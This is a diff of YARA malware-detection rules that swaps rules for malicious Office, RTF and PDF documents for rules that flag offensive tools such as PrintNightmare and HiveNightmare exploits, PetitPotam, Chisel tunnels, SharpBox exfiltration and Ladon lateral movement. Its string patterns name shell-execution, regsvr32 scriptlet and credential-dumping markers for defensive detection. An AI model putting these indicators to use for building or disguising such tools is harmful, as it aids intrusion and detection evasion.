+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L941-L961"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b262a9f8e82dea55afc26acac731827b64f52069a2bf314f716832b3dfc2c04f"
+		logic_hash = "22c890a22ce6b7c1a06068018364f7c5a2afe1bee5b5bc6a8bae3703a11fac26"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "autoLoad=\"true\"" ascii
-		$s2 = "/relationships/oleObject\"" ascii
-		$s3 = "Target=\"../embeddings/oleObject" ascii
+		$s1 = "RevertToSelf() Error:" wide
+		$s2 = "NeverGonnaGiveYou" wide
+		$s3 = "\\Amd64\\UNIDRV.DLL" wide
+		$s4 = ":\\Windows\\System32\\DriverStore\\FileRepository\\" wide
+		$s5 = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}" wide
+		$s6 = "\\SharpPrintNightmare\\" ascii
+		$s7 = { 4e 61 6d 65 09 46 75 6c 6c 54 72 75 73 74 01 }
+		$s8 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages" wide
+		$s9 = "ntprint.inf_amd64" wide
+		$s10 = "AddPrinterDriverEx" wide
+		$s11 = "addPrinter" ascii
+		$s12 = "DRIVER_INFO_2" ascii
+		$s13 = "APD_COPY_" ascii
 
 	condition:
-		uint32(0)==0x6d783f3c and all of ($s*)
+		uint16(0)==0x5a4d and 7 of them
 }
-rule DITEKSHEN_INDICATOR_XML_Squiblydoo_1 : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_REC_Adfind : FILE
 {
 	meta:
-		description = "detects Squiblydoo variants extracted from exploit RTF documents."
+		description = "Detect ADFind"
 		author = "ditekSHen"
-		id = "cac326ab-cc31-59c1-bd12-285db1675695"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "2f0d02a1-7488-5645-aa08-1eadee2862e8"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L583-L597"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L963-L974"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b52ebd76dd4e60f6bd5cb19fed3a72b6aeb90dea95f0d1be61dcfff39ea674ae"
+		logic_hash = "41fb9f72032f76adc6f1fccd25a1364f153eb2430063e9d582f3dcd9fc9ac84a"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$slt = "<scriptlet" ascii
-		$ws1 = "CreateObject(\"WScript\" & \".Shell\")" ascii
-		$ws2 = "CreateObject(\"WScript.Shell\")" ascii
-		$ws3 = "ActivexObject(\"WScript.Shell\")" ascii
-		$r1 = "[\"run\"]" nocase ascii
-		$r2 = ".run \"cmd" nocase ascii
-		$r3 = ".run chr(" nocase ascii
+		$s1 = "\\AdFind\\AdFind\\AdFind.h" ascii
+		$s2 = "\\AdFind\\AdFind\\AdFind.cpp" ascii
+		$s3 = "\\AdFind\\Release\\AdFind.pdb" ascii
+		$s4 = "joeware_default_adfind.cf" ascii
 
 	condition:
-		( uint32(0)==0x4d583f3c or uint32(0)==0x6d783f3c) and $slt and 1 of ($ws*) and 1 of ($r*)
+		uint16(0)==0x5a4d and 2 of them
 }
-rule DITEKSHEN_INDICATOR_OLE_Suspicious_Reverse : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_CNC_Chisel : FILE
 {
 	meta:
-		description = "detects OLE documents containing VB scripts with reversed suspicious strings"
+		description = "Detect binaries using Chisel"
 		author = "ditekSHen"
-		id = "a7f4d18d-add6-5df2-9a8c-f88d8e3766da"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "d126f2c8-655f-564f-ae46-f6bd6385dcac"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L599-L619"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L976-L990"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "04950549eede23b7006103539f20437713a54138c073d9805048392ea0a3df2a"
-		score = 65
-		quality = 71
+		logic_hash = "08c7b2c4725431c1bf85ae8068f4250c98e58890e3b4c97aa9e419e4f487cada"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$vb = "\\VBE7.DLL" ascii
-		$cmd1 = "CMD C:\\" nocase ascii
-		$cmd2 = "CMD /c " nocase ascii
-		$kw1 = "]rAHC[" nocase ascii
-		$kw2 = "ekOVNI" nocase ascii
-		$kw3 = "EcaLPEr" nocase ascii
-		$kw4 = "TcEJBO-WEn" nocase ascii
-		$kw5 = "eLbAirav-Teg" nocase ascii
-		$kw6 = "ReveRSE(" nocase ascii
-		$kw7 = "-JOIn" nocase ascii
+		$s1 = "chisel-v" ascii
+		$s2 = "sendchisel-v" ascii
+		$s3 = "<-chiselclosedcookiedomainefenceempty" ascii
+		$ws1 = "Sec-WebSocket-Key" ascii
+		$ws2 = "Sec-WebSocket-Protocol" ascii
+		$ws3 = "Sec-Websocket-Version" ascii
+		$ws4 = "Sec-Websocket-Extensions" ascii
 
 	condition:
-		uint16(0)==0xcfd0 and $vb and ((1 of ($cmd*) and 1 of ($kw*)) or (2 of ($kw*)))
+		uint16(0)==0x5a4d and (1 of ($s*) and 3 of ($ws*))
 }
-rule DITEKSHEN_INDICATOR_OLE_Suspicious_Activex : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_ANT_Sharpedrchecker : FILE
 {
 	meta:
-		description = "detects OLE documents with suspicious ActiveX content"
+		description = "Detect SharpEDRChecke, C# Implementation of Invoke-EDRChecker"
 		author = "ditekSHen"
-		id = "e4a74955-8519-561d-bb23-6469e7ae5aaa"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "c0b41787-b8b4-5aa7-b1f0-0a89dbebe45e"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L621-L651"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L992-L1023"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d9a672b0eeccd93b4ae98fef45560490171f8fc16b712d1e0141fc0ef1d0e342"
-		score = 65
-		quality = 73
+		logic_hash = "77a26ff5298dddebc669d9b6c39905a48a86884cf98adebdf935b94c62d36ddc"
+		score = 75
+		quality = 48
 		tags = "FILE"
 
 	strings:
-		$vb = "\\VBE7.DLL" ascii
-		$ax1 = "_Layout" ascii
-		$ax2 = "MultiPage1_" ascii
-		$ax3 = "_MouseMove" ascii
-		$ax4 = "_MouseHover" ascii
-		$ax5 = "_MouseLeave" ascii
-		$ax6 = "_MouseEnter" ascii
-		$ax7 = "ImageCombo21_Change" ascii
-		$ax8 = "InkEdit1_GotFocus" ascii
-		$ax9 = "InkPicture1_" ascii
-		$ax10 = "SystemMonitor1_" ascii
-		$ax11 = "WebBrowser1_" ascii
-		$ax12 = "_Click" ascii
-		$kw1 = "CreateObject" ascii
-		$kw2 = "CreateTextFile" ascii
-		$kw3 = ".SpawnInstance_" ascii
-		$kw4 = "WScript.Shell" ascii
-		$kw5 = { 43 68 72 [0-2] 41 73 63 [0-2] 4d 69 64 }
-		$kw6 = { 43 68 [0-2] 72 24 28 40 24 28 22 26 48 }
-		$kw7 = { 41 63 74 69 76 65 44 6f 63 75 6d 65 6e 74 }
+		$pdb1 = "\\SharpEDRChecker.pdb" fullword ascii
+		$x1 = "EDRData" fullword ascii
+		$x2 = "bytesNeeded" fullword ascii
+		$x3 = /\] Checking (Directories|drivers|processes|modules|Registry|Services) \[/ wide
+		$s1 = "CheckService" fullword ascii
+		$s2 = "CheckModule" fullword ascii
+		$s3 = "PrivCheck" fullword ascii
+		$s4 = "ServiceChecker" fullword ascii
+		$s5 = "PrivilegeChecker" fullword ascii
+		$s6 = "FileChecker" fullword ascii
+		$s7 = "DriverChecker" fullword ascii
+		$s8 = "ProcessChecker" fullword ascii
+		$s9 = "DirectoryChecker" fullword ascii
+		$s10 = "RegistryChecker" fullword ascii
+		$s11 = "CheckDriver" fullword ascii
+		$s12 = "CheckServices" fullword ascii
+		$s13 = "CheckDirectories" fullword ascii
+		$s14 = "CheckCurrentProcessModules" fullword ascii
+		$s15 = "CheckProcesses" fullword ascii
+		$s16 = "CheckDrivers" fullword ascii
+		$s17 = "CheckProcess" fullword ascii
+		$s18 = "CheckSubDirectory" fullword ascii
+		$s19 = "CheckDirectory" fullword ascii
+		$s20 = "CheckRegistry" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and $vb and 1 of ($ax*) and 2 of ($kw*)
+		uint16(0)==0x5a4d and ( all of ($x*) or 10 of ($s*) or (1 of ($pdb*) and (1 of ($x*) or 2 of ($s*))) or (#x3>4 and 2 of them ))
 }
-rule DITEKSHEN_INDICATOR_OLE_Suspicious_MITRE_T1117 : T1117 FILE
-{
-	meta:
-		description = "Detects MITRE technique T1117 in OLE documents"
-		author = "ditekSHen"
-		id = "0f41b011-2b63-581f-aa10-9560f27d0a27"
-		date = "2024-02-22"
-		modified = "2024-02-22"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L653-L664"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f0d97f4de8bde18299ee0caee680a15070a1faa99fc318d144a7b7918c8cbb1f"
-		score = 65
-		quality = 75
-		tags = "T1117, FILE"
-
-	strings:
-		$s1 = "scrobj.dll" ascii nocase
-		$s2 = "regsvr32" ascii nocase
-		$s3 = "JyZWdzdnIzMi5leGU" ascii
-		$s4 = "HNjcm9iai5kbGw" ascii
+import "pe"
 
-	condition:
-		uint16(0)==0xcfd0 and 2 of them
-}
-rule DITEKSHEN_INDICATOR_OLE_Remotetemplate
+rule DITEKSHEN_INDICATOR_TOOL_ANT_Invizzzible : FILE
 {
 	meta:
-		description = "Detects XML relations where an OLE object is refrencing an external target in dropper OOXML documents"
+		description = "Detect InviZzzible"
 		author = "ditekSHen"
-		id = "fbf40436-fc0a-5e55-89ac-5e1dd93e1833"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "23533d1c-e0d8-51c8-ac18-60c845bff197"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L666-L677"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1025-L1059"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "80cc5b1a8a8899f632401956055374d265c734449e56ffeee5f0ba4911050f36"
+		logic_hash = "bd84015f9fdc160a6ed9010c5a5905fcf13987b1fdec6fdd9535e315dc3617e8"
 		score = 75
-		quality = 75
-		tags = ""
+		quality = 73
+		tags = "FILE"
 
 	strings:
-		$olerel = "relationships/oleObject" ascii
-		$target1 = "Target=\"http" ascii
-		$target2 = "Target=\"file" ascii
-		$mode = "TargetMode=\"External" ascii
+		$s1 = "\\\\.\\pipe\\task_sched_se" fullword wide
+		$s2 = "\\\\\\.\\NPF_NdisWanIp" fullword wide
+		$s3 = /--action --(dtt|mra|user-input|cfg|dan|evt|pid|exc|wmi|tsh)/ fullword wide
+		$s4 = "cuckoo_%lu.ini" fullword wide
+		$s5 = "sandbox evasion" wide nocase
+		$s6 = "UnbalancedStack" fullword ascii
+		$s7 = "process_with_long_name" fullword ascii
+		$s8 = "DelaysAccumulation" fullword ascii
+		$s9 = "PidReuse" fullword ascii
+		$s10 = "DeadAnalyzer" fullword ascii
+		$s11 = "SleepDummyPatch" fullword ascii
+		$s12 = "AudioDeviceAbsence" fullword ascii
+		$s14 = "\\\\.\\PhysicalDrive%u" fullword ascii
+		$s15 = "\"countermeasures\":" ascii
+		$s16 = "_%.02u%.02u%.02u_%.02u%.02u%.02u.html" ascii
+		$f1 = ".?AVHyperV@SandboxEvasion@@" ascii
+		$f2 = ".?AVJoebox@SandboxEvasion@@" ascii
+		$f3 = ".?AVKVM@SandboxEvasion@@" ascii
+		$f4 = ".?AVMisc@SandboxEvasion@@" ascii
+		$f5 = ".?AVParallels@SandboxEvasion@@" ascii
+		$f6 = ".?AVQEMU@SandboxEvasion@@" ascii
+		$f7 = ".?AVSandboxie@SandboxEvasion@@" ascii
+		$f8 = ".?AVVBOX@SandboxEvasion@@" ascii
+		$f9 = ".?AVVirtualPC@SandboxEvasion@@" ascii
+		$f10 = ".?AVVMWare@SandboxEvasion@@" ascii
+		$f11 = ".?AVWine@SandboxEvasion@@" ascii
+		$f12 = ".?AVXen@SandboxEvasion@@" ascii
 
 	condition:
-		$olerel and $mode and 1 of ($target*)
+		uint16(0)==0x5a4d and (6 of ($s*) or 4 of ($f*) or (2 of ($f*) and 2 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_RTF_Malver_Objects : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_EXFIL_Sharpbox : FILE
 {
 	meta:
-		description = "Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents."
+		description = "Detect SharpBox, C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API"
 		author = "ditekSHen"
-		id = "2d9d80e0-473e-5aac-a576-8f0002e120e2"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "cd834fe2-dc77-509d-a8f9-d631f395bcd8"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L679-L693"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1061-L1080"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "69136fb8ba180f6f86e569471bcefe8f55c61af73c66ebd6062ba7369aee9a72"
+		logic_hash = "b03ab3786b2a2e6774d94be4edf700a7154d8d400c7b2b31c73c68ce9fe0c08a"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
+		$s1 = "UploadData" fullword ascii
+		$s2 = "isAttached" fullword ascii
+		$s3 = "DecryptFile" fullword ascii
+		$s4 = "set_dbxPath" fullword ascii
+		$s5 = "set_dbxToken" fullword ascii
+		$s6 = "set_decrypt" fullword ascii
+		$s7 = "GeneratePass" fullword ascii
+		$s8 = "FileUploadToDropbox" fullword ascii
+		$s9 = "\\SharpBox.pdb" ascii
+		$s10 = "https://content.dropboxapi.com/2/files/upload" fullword wide
+		$s12 = "Dropbox-API-Arg: {\"path\":" wide
+		$s13 = "X509Certificate [{0}] Policy Error: '{1}'" fullword wide
 
 	condition:
-		uint32(0)==0x74725c7b and (( not uint8(4)==0x66 or not uint8(5)==0x31 or not uint8(6)==0x5c) and 1 of ($obj*))
+		uint16(0)==0x5a4d and 7 of them
 }
-rule DITEKSHEN_INDICATOR_PPT_Mastermana : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_EXP_Serioussam01 : CVE_2021_36934 FILE
 {
 	meta:
-		description = "Detects known malicious pattern (MasterMana) in PowerPoint documents."
+		description = "Detect tool variants potentially exploiting SeriousSAM / HiveNightmare CVE-2021-36934"
 		author = "ditekSHen"
-		id = "8e9b8185-6211-54c6-946d-b16f2226312a"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "e8f24ae4-48fb-5ee7-9e8e-0d144bb3b046"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L695-L715"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1082-L1104"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f8169e63b22fbbd48de9a63ff228d9d9fb105e95d2ea8a37c0993493515e8b2e"
+		logic_hash = "8b9de87dc073e6ba3eb36dd57b31e9749849c2e277f2bcd1c98ffc2d02861e10"
 		score = 75
-		quality = 71
-		tags = "FILE"
+		quality = 25
+		tags = "CVE-2021-36934, FILE"
 
 	strings:
-		$a1 = "auto_close" ascii nocase
-		$a2 = "autoclose" ascii nocase
-		$a3 = "auto_open" ascii nocase
-		$a4 = "autoopen" ascii nocase
-		$vb1 = "\\VBE7.DLL" ascii
-		$vb2 = { 41 74 74 72 69 62 75 74 ?? 65 20 56 42 5f 4e 61 6d ?? 65 }
-		$clsid = "000204EF-0000-0000-C000-000000000046" wide nocase
-		$i1 = "@j.mp/" ascii wide
-		$i2 = "j.mp/" ascii wide
-		$i3 = "\\pm.j\\\\:" ascii wide
-		$i4 = ".zz.ht/" ascii wide
-		$i5 = "/pm.j@" ascii wide
-		$i6 = "\\pm.j@" ascii wide
+		$s1 = "VolumeShadowCopy" fullword wide
+		$s2 = "\\\\?\\GLOBALROOT\\Device\\" fullword wide
+		$s3 = "{0}\\{1}$:aad3b435b51404eeaad3b435b51404ee:{2}" fullword wide
+		$s4 = "ASPNET_WP_PASSWORD" fullword wide
+		$s5 = "<ParseSam>b__" ascii
+		$s6 = "<DumpSecret" ascii
+		$s7 = "<ParseSecret" ascii
+		$s8 = "LsaSecretBlob" fullword ascii
+		$s9 = "systemHive" fullword ascii
+		$s10 = "ImportHiveDump" fullword ascii
+		$s11 = "FindShadowVolumes" fullword ascii
+		$s12 = "GetBootKey" fullword ascii
+		$r1 = "[*] SAM" wide
+		$r2 = "[*] SYSTEM" wide
+		$r3 = "[*] SECURITY" wide
 
 	condition:
-		uint16(0)==0xcfd0 and 1 of ($i*) and $clsid and 1 of ($a*) and 1 of ($vb*)
+		uint16(0)==0x5a4d and (6 of ($s*) or ( all of ($r*) and 3 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_XML_Webrelframe_Remotetemplate : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_EXP_Petitpotam01 : FILE
 {
 	meta:
-		description = "Detects XML web frame relations refrencing an external target in dropper OOXML documents"
+		description = "Detect tool potentially exploiting/attempting PetitPotam"
 		author = "ditekSHen"
-		id = "724650db-8d58-5e73-92e7-287890babc3b"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "12d7b533-f477-5fbb-8b1f-1a93c9a63500"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L717-L727"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1127-L1143"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fbe209e31ddb4369de02b6e91bf65f0588089c7b838dcf80f182248790b59e20"
+		logic_hash = "37a9477b41560904e8874ecaf93eb2667b9450b5d42665677abc1442538f9000"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 
 	strings:
-		$target1 = "/frame\" Target=\"http" ascii nocase
-		$target2 = "/frame\" Target=\"file" ascii nocase
-		$mode = "TargetMode=\"External" ascii
+		$s1 = "\\pipe\\lsarpc" fullword wide
+		$s2 = "\\%s" fullword wide
+		$s3 = "ncacn_np" fullword wide
+		$s4 = /EfsRpc(OpenFileRaw|EncryptFileSrv|DecryptFileSrv|QueryUsersOnFile|QueryRecoveryAgents|RemoveUsersFromFile|AddUsersToFile)/ wide
+		$r1 = "RpcBindingFromStringBindingW" fullword ascii
+		$r2 = "RpcStringBindingComposeW" fullword ascii
+		$r3 = "RpcStringFreeW" fullword ascii
+		$r4 = "RPCRT4.dll" fullword ascii
+		$r5 = "NdrClientCall2" fullword ascii
 
 	condition:
-		uint32(0)==0x6d783f3c and (1 of ($target*) and $mode)
+		uint16(0)==0x5a4d and ( all of ($s*) and 4 of ($r*))
 }
-rule DITEKSHEN_INDICATOR_PDF_Ipdropper : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpstrike : FILE
 {
 	meta:
-		description = "Detects PDF documents with Action and URL pointing to direct IP address"
+		description = "Detect SharpStrike post-exploitation tool written in C# that uses either CIM or WMI to query remote systems"
 		author = "ditekSHen"
-		id = "83368671-f1ec-5b09-9d55-6e45e576ebdb"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "00b36fce-3d84-51cf-a800-042d7484d78c"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L729-L738"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1145-L1160"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be37ee7ef5d8c980483f31bf5667c2dad4321d662be05c495ec6755362d33fd6"
-		score = 60
-		quality = 35
+		logic_hash = "c479d85878d9f9659fc157f0c6706703af3748a8740df6a5090cddc720dd7661"
+		score = 75
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = { 54 79 70 65 20 2f 41 63 74 69 6f 6e 0d 0a 2f 53 20 2f 55 52 49 0d 0a }
-		$s2 = /\/URI \(http(s)?:\/\/([0-9]{1,3}\.){3}[0-9]{1,3}\// ascii
+		$x1 = "SharpStrike v" wide
+		$x2 = "[*] Agent is busy" wide
+		$x3 = "SharpStrike_Fody" fullword ascii
+		$s1 = "ServiceLayer.CIM" fullword ascii
+		$s2 = "Models.CIM" fullword ascii
+		$s3 = "<HandleCommand>b__" ascii
+		$s4 = "MemoryStream" fullword ascii
+		$s5 = "GetCommands" fullword ascii
 
 	condition:
-		uint32(0)==0x46445025 and all of them
+		uint16(0)==0x5a4d and (2 of ($x*) or all of ($s*))
 }
-rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL1 : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladon : FILE
 {
 	meta:
-		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
+		description = "Detect Ladon tool that assists in lateral movement across a network"
 		author = "ditekSHen"
-		id = "4212d762-ea49-5884-b697-9313f43140d5"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "227e63ce-8383-5bb1-870e-6c4e767b402f"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L740-L764"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1162-L1178"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a3248027b83b982cccf235267aa27def4f640987d41c5f11509bde3e27b82fee"
+		logic_hash = "f31276bcbcae672966cfddc9af4f5b507d7244360b421de7fe1e811fb954fb7d"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "Macros Excel 4.0" fullword ascii
-		$s2 = { 00 4d 61 63 72 6f 31 85 00 }
-		$s3 = "http" ascii
-		$s4 = "file:" ascii
-		$fa_exe = ".exe" ascii nocase
-		$fa_scr = ".scr" ascii nocase
-		$fa_dll = ".dll" ascii nocase
-		$fa_bat = ".bat" ascii nocase
-		$fa_cmd = ".cmd" ascii nocase
-		$fa_sct = ".sct" ascii nocase
-		$fa_txt = ".txt" ascii nocase
-		$fa_psw = ".ps1" ascii nocase
-		$fa_py = ".py" ascii nocase
-		$fa_js = ".js" ascii nocase
+		$d1 = "Ladon.VncSharp.dll" fullword ascii
+		$d2 = "Ladon.Renci.SshNet.dll" fullword ascii
+		$s1 = "Ladon." ascii
+		$s2 = "nowPos" fullword ascii
+		$s3 = "Scan" fullword ascii
+		$s4 = "QLZ_STREAMING_BUFFER" fullword ascii
+		$s5 = "sizeDecompressed" fullword ascii
+		$s6 = "UpdateByte" fullword ascii
+		$s7 = "kNumBitPriceShiftBits" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and (3 of ($s*) and 1 of ($fa*))
+		uint16(0)==0x5a4d and ( all of ($d*) or all of ($s*) or (1 of ($d*) and 5 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL2 : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladonexp : FILE
 {
 	meta:
-		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
+		description = "Detect Ladon tool that assists in lateral movement across a network"
 		author = "ditekSHen"
-		id = "ea331976-6e5d-5377-a100-0f265e97177f"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "bd1e7ef5-ae68-5e0d-8261-0eb765453bae"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L766-L787"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1180-L1191"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48ab27a2f81934f6f2f034ebcd40fc083b0d90850d12a951f03dab3a4c396ec6"
+		logic_hash = "22f6a717b8464bddd850bb5ea8b416e99bceb91fe917f188be178f2fff620730"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$e1 = "Macros Excel 4.0" ascii
-		$e2 = { 00 4d 61 63 72 6f 31 85 00 }
-		$a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
-		$a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
-		$a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff }
-		$a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
-		$a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
-		$a6 = "auto_open" ascii nocase
-		$a7 = "auto_close" ascii nocase
-		$x1 = "* #,##0" ascii
-		$x2 = "=EXEC(CHAR(" ascii
-		$x3 = "-w 1 stARt`-s" ascii nocase
-		$x4 = ")&CHAR(" ascii
-		$x5 = "Reverse" fullword ascii
+		$s1 = "txt_cscandll.Text" fullword wide
+		$s2 = "CscanWebExpBuild.frmMain.resources" fullword ascii
+		$s3 = "= \"$HttpXforwardedFor$\";" ascii
+		$s4 = "namespace netscan" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and (1 of ($e*) and 1 of ($a*) and (#x1>3 or 2 of ($x*)))
+		uint16(0)==0x5a4d and 3 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Urldownloadtofile : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_LTM_Ladongo : FILE
 {
 	meta:
-		description = "Detects RTF documents that embed Excel documents for detection evation."
+		description = "Detect LadonGo tool that assists in lateral movement across a network"
 		author = "ditekSHen"
-		id = "39b8723c-1755-5e2f-8fb2-cca5e9eef915"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "4dbf7f24-b9ab-5629-8e78-667d9623dea9"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L789-L815"
